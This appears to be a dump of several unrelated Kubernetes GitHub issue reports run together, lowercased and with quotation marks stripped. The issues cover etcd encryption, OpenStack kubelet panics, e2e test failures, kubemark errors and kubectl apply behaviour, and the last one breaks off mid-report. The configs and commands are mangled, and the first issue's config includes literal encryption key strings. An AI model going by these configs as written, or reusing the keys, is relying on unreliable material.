uname -a  :\r \r  \r <!-- do not edit below this line -->\r 

i set kubernetes cluster by kubeadm on my local ubuntu server. i tried to encrypt etcd by the same way as https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ , then it breaks  /registry/secrets/default/default-token-xxxxx \r \r here is my encryption configuration file.\r \r    yaml\r     kind: encryptionconfiguration\r     apiversion: apiserver.config.k8s.io/v1\r     resources:\r       - resources:\r         - secrets\r         providers:\r         - aescbc:\r             keys:\r             - name: key1\r               secret: f3rax7e5b/ggbar8llllbpap+r4w8kgxkjxfhtp8bb0=\r             - name: key2\r               secret: yuat0/ntgnh8d4njwkwwscdi7/wcyj7agfjtsu1xkhe=\r    \r \r and after created it, i configured my kube-apiserver.yaml like below.\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   creationtimestamp: null\r   labels:\r     component: kube-apiserver\r     tier: control-plane\r   name: kube-apiserver\r   namespace: kube-system\r spec:\r   containers:\r   - command:\r     - kube-apiserver\r     - --advertise-address=xx.x.xxx.xxx\r     - --allow-privileged=true\r     - --authorization-mode=node,rbac\r     - --client-ca-file=/path/to/my/ca.crt\r     - --enable-admission-plugins=noderestriction\r     - --enable-bootstrap-token-auth=true\r     - --etcd-cafile=/path/to/my/etcd/ca.crt\r     - --etcd-certfile=/path/to/my/apiserver-etcd-client.crt\r     - --etcd-keyfile=/path/to/my/apiserver-etcd-client.key\r     - --etcd-servers=https://127.0.0.1:2379\r     - --encryption-provider-config=/path/to/enc/encryption_conf.yaml\r     - --insecure-port=0\r     - --kubelet-client-certificate=/path/to/myapiserver-kubelet-client.crt\r     - --kubelet-client-key=/path/to/my/apiserver-kubelet-client.key\r     - --kubelet-preferred-address-types=internalip,externalip,hostname\r     - --proxy-client-cert-file=/path/to/my/front-proxy-client.crt\r     - --proxy-client-key-file=/path/to/my/front-proxy-client.key\r     - --requestheader-allowed-names=front-proxy-client\r     - --requestheader-client-ca-file=/path/to/my/front-proxy-ca.crt\r     - --requestheader-extra-headers-prefix=x-remote-extra-\r     - --requestheader-group-headers=x-remote-group\r     - --requestheader-username-headers=x-remote-user\r     - --secure-port=6443\r     - --service-account-key-file=/path/to/my/sa.pub\r     - --service-cluster-ip-range=10.96.0.0/12\r     - --tls-cert-file=/path/to/my/apiserver.crt\r     - --tls-private-key-file=/path/to/my/apiserver.key\r     image: k8s.gcr.io/kube-apiserver:v1.14.0\r     imagepullpolicy: ifnotpresent\r     livenessprobe:\r       failurethreshold: 8\r       httpget:\r         host: xx.x.xxx.xxx\r         path: /healthz\r         port: 6443\r         scheme: https\r       initialdelayseconds: 15\r       timeoutseconds: 15\r     name: kube-apiserver\r     resources:\r       requests:\r         cpu: 250m\r     volumemounts:\r     - mountpath: /path/to/enc\r       name: encryption-conf\r       readonly: true\r   ...\r   hostnetwork: true\r   priorityclassname: system-cluster-critical\r   volumes:\r   - hostpath:\r       path: /path/to/enc\r       type: directoryorcreate\r     name: encryption-conf\r  ...\r status: {}\r    \r \r after restarting apiserver,  unable to transform key \ /registry/secrets/default/default-token-xxx\ : no matching prefix found  appeared.\r \r   environment  \r \r - ubuntu server 18.04\r - build cluster by using kubeadm v1.14.0 \r -  kubectl version : v1.14.0\r - cni:  calico v3.5 \r \r 

hi,   --version info  client version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.1\ , gitcommit:\ 6a5c06e3d1eb27a6310a09270e4a5fb1afa93e74\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.6\ , gitcommit:\ 388061f00f0d9e4d641f9ed4971c775e1654579d\ , gittreestate:\ clean\ }    i am trying to use cinder volume in my container.  i am starting kubelet with below command.  /opt/bin/kubelet --address=10.0.16.6 --port=10250 --hostname_override=10.0.16.6 --api_servers=10.0.16.3:8080 --logtostderr=false --log_dir=/var/log/kubernetes --v=4 --cloud-provider=openstack --cloud-config=/etc/init/cloud_config.conf   my cloud_config.conf is as below:   global  auth-url=https:// . . . :5000/v2.0 username=admin password=        tenant-id=6779d980830f4abcb60ae6cac5c810c8   i am getting below error:  panic: runtime error: invalid memory address or nil pointer dereference  signal 0xb code=0x1 addr=0x0 pc=0x53c6e2   goroutine 1  running : k8s.io/kubernetes/pkg/cloudprovider/openstack. _openstack .instances 0x0, 0x0, 0x0, 0x9          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/openstack/openstack.go:162 +0x7e2 k8s.io/kubernetes/cmd/kubelet/app.runkubelet 0xc208180000, 0x0, 0x0, 0x0          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:588 +0x12a k8s.io/kubernetes/cmd/kubelet/app. _kubeletserver .run 0xc2081dc000, 0xc208066990, 0x0, 0x9, 0x0, 0x0          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:382 +0x13a2 main.main           /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/kubelet.go:46 +0xd0  goroutine 7  chan receive : github.com/golang/glog.  loggingt .flushdaemon 0x1c03720          /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/golang/glog/glog.go:879 +0x78 created by github.com/golang/glog.init·1         /go/src/k8s.io/kubernetes/godeps/_workspace/src/github.com/golang/glog/glog.go:410 +0x2a7  goroutine 17  syscall, locked to thread : runtime.goexit           /usr/src/go/src/runtime/asm_amd64.s:2232 +0x1  goroutine 11  syscall : os/signal.loop           /usr/src/go/src/os/signal/signal_unix.go:21 +0x1f created by os/signal.init·1         /usr/src/go/src/os/signal/signal_unix.go:27 +0x35  goroutine 18  sleep : k8s.io/kubernetes/pkg/util.until 0x15181a8, 0x12a05f200, 0x0          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/util.go:114 +0x98 k8s.io/kubernetes/pkg/util.forever 0x15181a8, 0x12a05f200          /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/util.go:94 +0x3b created by k8s.io/kubernetes/pkg/util.initlogs         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/logs.go:50 +0x9f  goroutine 26  io wait : net. _polldesc .wait 0xc2080cb020, 0x72, 0x0, 0x0          /usr/src/go/src/net/fd_poll_runtime.go:84 +0x47 net. _polldesc .waitread 0xc2080cb020, 0x0, 0x0          /usr/src/go/src/net/fd_poll_runtime.go:89 +0x43 net. _netfd .accept 0xc2080cafc0, 0x0, 0x7f953e810e88, 0xc2080cdbf8          /usr/src/go/src/net/fd_unix.go:419 +0x40b net. _tcplistener .accepttcp 0xc20803a768, 0x5d9124, 0x0, 0x0          /usr/src/go/src/net/tcpsock_posix.go:234 +0x4e net/http.tcpkeepalivelistener.accept 0xc20803a768, 0x0, 0x0, 0x0, 0x0          /usr/src/go/src/net/http/server.go:1976 +0x4c net/http. _server .serve 0xc208047560, 0x7f953e81c690, 0xc20803a768, 0x0, 0x0          /usr/src/go/src/net/http/server.go:1728 +0x92 net/http. _server .listenandserve 0xc208047560, 0x0, 0x0          /usr/src/go/src/net/http/server.go:1718 +0x154 k8s.io/kubernetes/pkg/kubelet/cadvisor.func·001           /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/cadvisor/cadvisor_linux.go:99 +0x5f created by k8s.io/kubernetes/pkg/kubelet/cadvisor.  cadvisorclient .exporthttp         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/cadvisor/cadvisor_linux.go:105 +0x4c2   could you please help me out  with this

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : openstack node list sync\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  : 1.4.5\r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack + heat\r -   os    e.g. from /etc/os-release : centos 7.3\r -   kernel    e.g.  uname -a  :  3.10.0-327.28.3.el7.x86_64\r -   install tools  : cluster/kube-up.sh\r -   others  : -\r \r \r   what happened  :\r kubernetes cluster is started up with 3 nodes. one node is turned off  or killed . kubernetes reports node notready, and node object stays forever  waited about 2 days to disappear .\r \r \r   what you expected to happen  :\r kubernetes should remove node object if node is not available after a specific time.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r start a cluster in openstack,  shutdown one node.\r ./kubectl get nodes  reports failed node in node list forever.\r \r   anything else do we need to know  :\r the problem is in https://github.com/kubernetes/kubernetes/blob/release-1.4/pkg/cloudprovider/providers/openstack/openstack.go l265\r according to contract defined in https://github.com/kubernetes/kubernetes/blob/release-1.4/pkg/cloudprovider/cloud.go l114  method should return instancenotfound, but openstack provider returns errnotfound instead. as a result node availability check is broken. this is a one line fix  tested on my openstack cloud , i can provide a pull request  fixed on release-1.4 branch  if needed.\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.4-gci-1.5-upgrade-cluster-new/42/  multiple broken tests:  failed: teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  34118  34795  37058  38207   failed: diffresources {e2e.go}      error: 17 leaked resources +name                                     machine_type   preemptible  creation_timestamp +gke-bootstrap-e2e-default-pool-7697ac32  n1-standard-2               2016-12-08t05:26:43.268-08:00 +name                                         location       scope  network        managed  instances +gke-bootstrap-e2e-default-pool-b9502d27-grp  us-central1-a  zone   bootstrap-e2e  yes      3 +name                                          zone           machine_type   preemptible  internal_ip  external_ip      status +gke-bootstrap-e2e-default-pool-b9502d27-d20f  us-central1-a  n1-standard-2               10.240.0.2   104.154.145.91   running +gke-bootstrap-e2e-default-pool-b9502d27-w68x  us-central1-a  n1-standard-2               10.240.0.3   146.148.100.249  running +gke-bootstrap-e2e-default-pool-b9502d27-z894  us-central1-a  n1-standard-2               10.240.0.5   35.184.77.34     running +gke-bootstrap-e2e-default-pool-b9502d27-d20f                     us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-b9502d27-w68x                     us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-b9502d27-z894                     us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-e5c4d43f-02d15067-bd4b-11e6-9505-42010af0000b  bootstrap-e2e  10.96.3.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-b9502d27-d20f  1000 +gke-bootstrap-e2e-e5c4d43f-27b9dab5-bd7b-11e6-8735-42010af0000b  bootstrap-e2e  10.96.0.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-b9502d27-z894  1000 +gke-bootstrap-e2e-e5c4d43f-7c22a4b0-bd4b-11e6-9505-42010af0000b  bootstrap-e2e  10.96.4.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-b9502d27-w68x  1000 +gke-bootstrap-e2e-e5c4d43f-all           bootstrap-e2e  10.96.0.0/14        tcp,udp,icmp,esp,ah,sctp +gke-bootstrap-e2e-e5c4d43f-ssh           bootstrap-e2e  104.154.138.194/32  tcp:22                                  gke-bootstrap-e2e-e5c4d43f-node +gke-bootstrap-e2e-e5c4d43f-vms           bootstrap-e2e  10.240.0.0/16       tcp:1-65535,udp:1-65535,icmp            gke-bootstrap-e2e-e5c4d43f-node     issues about this test specifically:  33373  33416  34060   failed: deferred teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  35658   failed: dumpclusterlogs {e2e.go}      terminate testing after 15m after 10h0m0s timeout during dump cluster logs     issues about this test specifically:  33722  37578  37974  38206

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kube-dns preemptible\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : google container-vm image\r -   kernel    e.g.  uname -a  : linux gke 4.4.21+  1 smp thu nov 10 02:50:15 pst 2016 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r -   install tools  : n.a\r -   others  : n.a\r \r \r   what happened  :\r we have our cluster setup with three preemptible nodes and two regular nodes. this means there's a big chance that  kube-dns  pods land on preemptible nodes. we have two  kube-dns  pods running. yesterday, all three preemptible nodes fell away at the same time  because we did an upgrade recently they all had the same age , causing downtime because the  kube-dns  pods were on those nodes.\r \r   what you expected to happen  :\r i expect  kube-dns  and other important  kube-system  pods to always be on regular nodes and never on a preemptible. right now our \ fix\  is to manually get them on a regular node, but that isn't very permanent.\r \r   how to reproduce it    as minimally and precisely as possible :\r set up a cluster with preemptible nodes and normal nodes, and watch as  kube-dns  get scheduled on preemptible nodes.\r \r   anything else we need to know  :\r https://github.com/kubernetes/kubernetes/issues/40063 is somewhat related, however not exactly, since it doesn't take preemptible nodes in account.\r

\r i have an improvement on kubernetes, in our production environment, run perstop hook when removing pod, but no matter how quickly the result of this pod is removed, my improvement is that when perstop fails, it will retry until the execution succeeds, or the timeout is removed. i have implemented a version of this feature myself. if there's a problem with my improvement, please let me know, thank you.\r \r ps： https://github.com/kubernetes/community/issues/653\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  kubemark  complains \r \r    \r $ ./test/kubemark/start-kubemark.sh\r \r starting setup for master\r created the environment file for master.\r created  https://www.googleapis.com/compute/v1/projects/etcd-development/zones/us-central1-b/disks/kubernetes-kubemark-master-pd .\r name                           zone           size_gb  type    status\r kubernetes-kubemark-master-pd  us-central1-b  20       pd-ssd  ready\r \r new disks are unformatted. you must format and mount a disk before it\r can be used. you can find instructions on how to do this at:\r \r https://cloud.google.com/compute/docs/disks/add-persistent-disk formatting\r \r succeeded to gcloud compute disks.\r created  https://www.googleapis.com/compute/v1/projects/etcd-development/regions/us-central1/addresses/kubernetes-kubemark-master-ip .\r succeeded to gcloud compute addresses.\r warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r error:  gcloud.compute.instances.create  could not fetch resource:\r  - invalid value for field 'resource.networkinterfaces 0 .subnetwork': 'https://www.googleapis.com/compute/v1/projects/etcd-development/regions/us-central1/subnetworks/e2e'. the referenced subnetwork resource cannot be found.\r \r attempt 1 failed to gcloud compute instances. retrying.\r warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r error:  gcloud.compute.instances.create  could not fetch resource:\r  - invalid value for field 'resource.networkinterfaces 0 .subnetwork': 'https://www.googleapis.com/compute/v1/projects/etcd-development/regions/us-central1/subnetworks/e2e'. the referenced subnetwork resource cannot be found.\r \r attempt 2 failed to gcloud compute instances. retrying.\r warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r error:  gcloud.compute.instances.create  could not fetch resource:\r  - invalid value for field 'resource.networkinterfaces 0 .subnetwork': 'https://www.googleapis.com/compute/v1/projects/etcd-development/regions/us-central1/subnetworks/e2e'. the referenced subnetwork resource cannot be found.\r \r attempt 3 failed to gcloud compute instances. retrying.\r    \r \r   what you expected to happen  :\r \r no error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r   git clone kubernetes master branch  git sha 4b037dfdff3e58809a339bb58b2911cba8ddcc4b \r \r git clone https://github.com/kubernetes/kubernetes.git\r cd ${home}/go/src/k8s.io/kubernetes\r sudo make quick-release\r \r export cloud_provider=gce\r export num_nodes=30\r export etcd_servers=http://10.240.0.3:2379,http://10.240.0.4:2379,http://10.240.0.5:2379\r ./test/kubemark/start-kubemark.sh\r    \r \r   anything else we need to know?  :\r \r i am using the latest  gcloud .\r \r    bash\r $ gcloud info\r \r google cloud sdk  165.0.0 \r \r platform:  linux, x86_64   'linux', 'kubemark', '4.10.0-30-generic', ' 34~16.04.1-ubuntu smp wed aug 2 02:13:56 utc 2017', 'x86_64', 'x86_64' \r python version:  2.7.12  default, nov 19 2016, 06:48:10    gcc 5.4.0 20160609  \r python location:  /usr/bin/python2 \r site packages:  disabled \r \r installation root:  /home/gyuho/google-cloud-sdk \r installed components:\r   kubectl:   \r   gsutil:  4.27 \r   gcloud:   \r   bq:  2.0.25 \r   core:  2017.07.28 \r system path:  /home/gyuho/bin:/home/gyuho/.local/bin:/home/gyuho/google-cloud-sdk/bin:/home/gyuho/bin:/home/gyuho/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/local/go/bin:/home/gyuho/go/bin \r python path:  /home/gyuho/google-cloud-sdk/lib/third_party:/home/gyuho/google-cloud-sdk/lib:/usr/lib/python2.7/:/usr/lib/python2.7/plat-x86_64-linux-gnu:/usr/lib/python2.7/lib-tk:/usr/lib/python2.7/lib-old:/usr/lib/python2.7/lib-dynload \r cloud sdk on path:  true \r kubectl on path:  /home/gyuho/google-cloud-sdk/bin/kubectl \r \r warning: there are old versions of the google cloud platform tools on your system path.\r   /usr/lib/google-cloud-sdk/bin/git-credential-gcloud.sh\r   /usr/lib/google-cloud-sdk/bin/gsutil\r   /usr/lib/google-cloud-sdk/bin/bq\r   /usr/lib/google-cloud-sdk/bin/gcloud\r \r installation properties:  /home/gyuho/google-cloud-sdk/properties \r user config directory:  /home/gyuho/.config/gcloud \r active configuration name:  default \r active configuration path:  /home/gyuho/.config/gcloud/configurations/config_default \r \r account:  gyu_ho.lee@coreos.com \r project:  etcd-development \r \r current properties:\r    core \r     project:  etcd-development \r     account:  gyu_ho.lee@coreos.com \r     disable_usage_reporting:  false \r \r logs directory:  /home/gyuho/.config/gcloud/logs \r last log file:  /home/gyuho/.config/gcloud/logs/2017.08.07/20.00.24.998353.log \r \r git:  git version 2.7.4 \r ssh:  openssh_7.2p2 ubuntu-4ubuntu2.2, openssl 1.0.2g  1 mar 2016 \r    \r \r is anybody running  kubemark  with gcp and having the same errors?

currently, feature gates are specified as a string of key-value pairs, e.g.  \ a=true,b=false,c=true\  .\r \r this makes sense as a command-line flag, but is awkward in json or yaml, which provide natural syntax for expressing a map structure. we should use  map string bool  on componentconfig structures and allow feature gates to be loaded from this map, rather than from parsing the string of key-value pairs.\r \r for example:\r    \r featuregates:\r   a: true\r   b: false\r   c: true\r    \r \r /cc @mikedanese @jlowdermilk

 \r i am running self-hosted e2e conformance tests in a pod on every freshly deployed cluster  similar as in https://github.com/ozdanborne/k8s-e2e-containerized . e2e.test is started without any host, kubeconfig configuration and picks up the inclusterconfig correctly. all conformance tests pass nicely, except from kubectl executions.\r \r kubectl gets executed by e2e.test as  kubectl --server=http://127.0.0.1:8080 ...  and therefore fails on connection refused. in the container running kubectl without --server, will work as expected, since i have service accounts set up correctly.\r \r looking into code, for some reason defaulthost is set to http://127.0.0.1:8080   https://github.com/kubernetes/kubernetes/blob/master/test/e2e/framework/test_context.go l33  . that value is not used within e2e.test as it seems, but is passed on to kubectl, only.\r \r omitting  --server=http://127.0.0.1:8080  would let the kubectl run with no problem, why is it set to that value  default proxy port is 8001 ?\r \r currently i am mitigating by pre-exectuting  kubectl proxy --port=8080 & \r before running e2e.test.

https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet-serial-gce-e2e&include-filter-by-regex=eviction\r \r it correlates with tests setting the evictionminimumreclaim setting when using dynamic kubelet config.\r \r this was caused by  53833, but my guess is that we can't use an empty evictionminimumreclaim setting like we do here: https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/eviction_test.go l74\r \r cc @mtaufen @random-liu \r cc @kubernetes/sig-node-test-failures

 \r https://k8s-testgrid.appspot.com/sig-storage gce-serial\r \r this is likely caused by a missing remount_volume_plugin_dir flag in kube-env construction.\r \r /assign\r 

failing job\r    gci-gke  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke    triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gci-gke  \r    gke-device-plugin-gpu  https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-device-plugin-gpu    triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-device-plugin-gpu  \r    gke-device-plugin-gpu-p100  https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-device-plugin-gpu-p100    triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-device-plugin-gpu-p100  \r    gci-gke-slow  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-slow    triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gci-gke-slow  \r    gci-gke-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial    triage  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial  \r    gci-gke-ingress  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-ingress    triage  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-ingress  \r    gci-gke-reboot  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-reboot    triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gci-gke-reboot  \r \r failing test\r  deferred teardown  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/25866 deferred-teardown \r \r has been failing consistently since 4/24.  commit changes  https://github.com/kubernetes/kubernetes/compare/30101be0d...029c1d8b2 \r \r  / /  /milestone 1.11\r @kubernetes/sig-testing-bugs \r \r cc @jberkus @tpepper\r \r /assign @bentheelder for triage

is this a bug report or feature request?  :\r  \r \r   what happened  :\r \r the  ownerreferences  section for my  resourcequota  was stripped, but left for all other resource types\r \r   what you expected to happen  :\r \r  kubectl apply  should put my changes into the cluster as requested\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r here are the resources  note you will need to change the ownerreference uid and name to some object that exists in your cluster \r    \r  minikube/default  tmp $ cat mike.yaml \r ---\r apiversion: v1\r kind: resourcequota\r metadata:\r   name: safety\r   namespace: default\r   ownerreferences:\r   - {apiversion: k8s.osp.tech/v1, blockownerdeletion: true, controller: true, kind: bundledeployment,\r     name: pipeline.804794, uid: e81ecd21-d3c2-11e8-a99c-0800270f3029}\r spec:\r   hard: {configmaps: '5'}\r ---\r apiversion: v1\r kind: configmap\r metadata:\r   name: mike\r   namespace: default\r   ownerreferences:\r   - {apiversion: k8s.osp.tech/v1, blockownerdeletion: true, controller: true, kind: bundledeployment,\r     name: pipeline.804794, uid: e81ecd21-d3c2-11e8-a99c-0800270f3029}\r \r    \r \r observe applying misses out the  ownerreference  for the  resourcequota :\r    \r  minikube/default  tmp $ k apply -f mike.yaml; k get -f mike.yaml -o yaml\r resourcequota \ safety\  created\r configmap \ mike\  created\r apiversion: v1\r items:\r - apiversion: v1\r   kind: resourcequota\r   metadata:\r     annotations:\r       kubectl.kubernetes.io/last-applied-configuration: |\r         {\ apiversion\ :\ v1\ ,\ kind\ :\ resourcequota\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ safety\ ,\ namespace\ :\ default\ ,\ ownerreferences\ : {\ apiversion\ :\ k8s.osp.tech/v1\ ,\ blockownerdeletion\ :true,\ controller\ :true,\ kind\ :\ bundledeployment\ ,\ name\ :\ pipeline.804794\ ,\ uid\ :\ e81ecd21-d3c2-11e8-a99c-0800270f3029\ } },\ spec\ :{\ hard\ :{\ configmaps\ :\ 5\ }}}\r     creationtimestamp: 2018-10-19t18:05:45z\r     name: safety\r     namespace: default\r     resourceversion: \ 2754558\ \r     selflink: /api/v1/namespaces/default/resourcequotas/safety\r     uid: 99d6a40c-d3c9-11e8-8b29-0800270f3029\r   spec:\r     hard:\r       configmaps: \ 5\ \r   status:\r     hard:\r       configmaps: \ 5\ \r     used:\r       configmaps: \ 0\ \r - apiversion: v1\r   kind: configmap\r   metadata:\r     annotations:\r       kubectl.kubernetes.io/last-applied-configuration: |\r         {\ apiversion\ :\ v1\ ,\ kind\ :\ configmap\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ mike\ ,\ namespace\ :\ default\ ,\ ownerreferences\ : {\ apiversion\ :\ k8s.osp.tech/v1\ ,\ blockownerdeletion\ :true,\ controller\ :true,\ kind\ :\ bundledeployment\ ,\ name\ :\ pipeline.804794\ ,\ uid\ :\ e81ecd21-d3c2-11e8-a99c-0800270f3029\ } }}\r     creationtimestamp: 2018-10-19t18:05:45z\r     name: mike\r     namespace: default\r     ownerreferences:\r     - apiversion: k8s.osp.tech/v1\r       blockownerdeletion: true\r       controller: true\r       kind: bundledeployment\r       name: pipeline.804794\r       uid: e81ecd21-d3c2-11e8-a99c-0800270f3029\r     resourceversion: \ 2754559\ \r     selflink: /api/v1/namespaces/default/configmaps/mike\r     uid: 99d96690-d3c9-11e8-8b29-0800270f3029\r kind: list\r metadata:\r   resourceversion: \ \ \r   selflink: \ \ \r    \r \r observe doing this again updates it correctly:\r    \r  minikube/default  tmp $ k apply -f mike.yaml; k get -f mike.yaml -o yaml\r resourcequota \ safety\  configured\r configmap \ mike\  unchanged                                               \r apiversion: v1                \r items:                  \r - apiversion: v1        \r   kind: resourcequota\r   metadata:\r     annotations:\r       kubectl.kubernetes.io/last-applied-configuration: |\r         {\ apiversion\ :\ v1\ ,\ kind\ :\ resourcequota\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ safety\ ,\ namespace\ :\ default\ ,\ ownerreferences\ : {\ apiversion\ :\ k8s.osp.tech/v1\ ,\ blockownerdeletion\ :true,\ controlle\r r\ :true,\ kind\ :\ bundledeployment\ ,\ name\ :\ pipeline.804794\ ,\ uid\ :\ e81ecd21-d3c2-11e8-a99c-0800270f3029\ } },\ spec\ :{\ hard\ :{\ configmaps\ :\ 5\ }}}\r     creationtimestamp: 2018-10-19t18:05:45z\r     name: safety\r     namespace: default\r     ownerreferences:\r     - apiversion: k8s.osp.tech/v1\r       blockownerdeletion: true\r       controller: true\r       kind: bundledeployment\r       name: pipeline.804794\r       uid: e81ecd21-d3c2-11e8-a99c-0800270f3029\r     resourceversion: \ 2754599\ \r     selflink: /api/v1/namespaces/default/resourcequotas/safety\r     uid: 99d6a40c-d3c9-11e8-8b29-0800270f3029\r   spec:\r     hard:\r       configmaps: \ 5\ \r   status:\r     hard:\r       configmaps: \ 5\ \r     used:\r       configmaps: \ 0\ \r - apiversion: v1\r   kind: configmap\r   metadata:\r     annotations:\r       kubectl.kubernetes.io/last-applied-configuration: |\r         {\ apiversion\ :\ v1\ ,\ kind\ :\ configmap\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ mike\ ,\ namespace\ :\ default\ ,\ ownerreferences\ : {\ apiversion\ :\ k8s.osp.tech/v1\ ,\ blockownerdeletion\ :true,\ controller\ :true,\ kind\ :\ bundledeployment\ ,\ name\ :\ pipeline.804794\ ,\ uid\ :\ e81ecd21-d3c2-11e8-a99c-0800270f3029\ } }}\r     creationtimestamp: 2018-10-19t18:05:45z\r     name: mike\r     namespace: default\r     ownerreferences:\r     - apiversion: k8s.osp.tech/v1\r       blockownerdeletion: true\r       controller: true\r       kind: bundledeployment\r       name: pipeline.804794\r       uid: e81ecd21-d3c2-11e8-a99c-0800270f3029\r     resourceversion: \ 2754559\ \r     selflink: /api/v1/namespaces/default/configmaps/mike\r     uid: 99d96690-d3c9-11e8-8b29-0800270f3029\r kind: list\r metadata:\r   resourceversion: \ \ \r   selflink: \ \ \r \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  minikube/default  tmp $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.10\ , gitcommit:\ 098570796b32895c38a9a1c9286425fb1ececa18\ , gittreestate:\ clean\ , builddate:\ 2018-08-02t17:19:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ 